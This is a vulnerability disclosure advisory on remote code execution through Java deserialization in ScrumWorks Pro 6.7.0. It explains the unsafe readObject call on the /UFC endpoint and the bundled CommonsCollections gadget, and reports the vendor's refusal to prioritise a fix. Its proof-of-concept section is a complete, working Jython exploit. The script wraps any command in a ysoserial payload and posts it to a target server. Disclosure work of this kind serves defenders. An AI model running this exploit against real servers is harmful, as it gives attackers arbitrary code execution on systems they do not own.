SSD Advisory – ScrumWorks Pro Remote Code Execution
Credit to Author: SSD / Maor Schwartz| Date: Tue, 22 Aug 2017 05:22:12 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
Vulnerability Summary
The following advisory describes a remote code execution vulnerability found in ScrumWorks Pro version 6.7.0.
“CollabNet ScrumWorks Pro is an Agile Project Management for Developers, Scrum Masters, and Business”. A trial version can be downloaded from the vendor: https://www.collab.net/products/scrumworks
Credit
A security researcher from, Siberas, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
Collab was informed of the vulnerability, and responded to it that – “We had a check with our Scrumworks Engineering team and after initial analysis, they’ve concluded that the Vulnerability which was reported will be considered of least priority from our end and it might be fixed in the future, however, We can’t assure you on the time line as our team is working with more priority issues at the moment.”
Vulnerability details
ScumWorks Pro provides a web interface and a Java client that can be started via Java Web Start (JNLP).
The Java client sends serialized Java objects to the /UFC endpoint of the application server.
These requests are handled by the class com.danube.scrumworks.controller.FrontController, method “doPost“:
Before the first try block, the http POST body is ZIP decompressed and then used to read a Java object via readObject, making the application vulnerable to Java deserialization attacks if a suitable gadget is available. As many other applications, ScrumWorks Pro ships with a vulnerable version of Apache CommonsCollections (3.2.1) that can be used to execute arbitrary code with the permissions of the ScrumWorks application server.
Proof of concept
The following Python script requires jython (at least version 2.5.3) and a local copy of the ysoserial library (https://github.com/frohoff/ysoserial).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | —– # # Scrumworks Java Deserialization Remote Code Execution PoC # import httplib import urllib import sys import binascii # load the ysoserial.jar file sys.path.append(“./ysoserial.jar”) from ysoserial import * from ysoserial.payloads import * # ZIP support from java.io import ByteArrayOutputStream from java.io import ObjectOutputStream from java.util.zip import GZIPOutputStream print “Scrumworks Java Deserialization Remote Code Execution PoC” print “=========================================================” if len(sys.argv) != 4: print “usage: “ + sys.argv[0] + ” host port commandn” exit(3) payloadName = “CommonsCollections5” payloadClass = ObjectPayload.Utils.getPayloadClass(payloadName); if payloadClass is None: print(“Can’t load ysoserial payload class”) exit(2); # serialize payload payload = payloadClass.newInstance() exploitObject = payload.getObject(sys.argv[3]) # create streams byteStream = ByteArrayOutputStream() zipStream = GZIPOutputStream(byteStream) objectStream = ObjectOutputStream(zipStream) objectStream.writeObject(exploitObject) # close streams objectStream.flush() objectStream.close() zipStream.close() byteStream.close() # http request print “sending serialized command” conn = httplib.HTTPConnection(sys.argv[1] + “:” + sys.argv[2]) conn.request(“POST”, “/scrumworks/UFC-poc-“, byteStream.toByteArray()) response = conn.getresponse() conn.close() print “done” —– |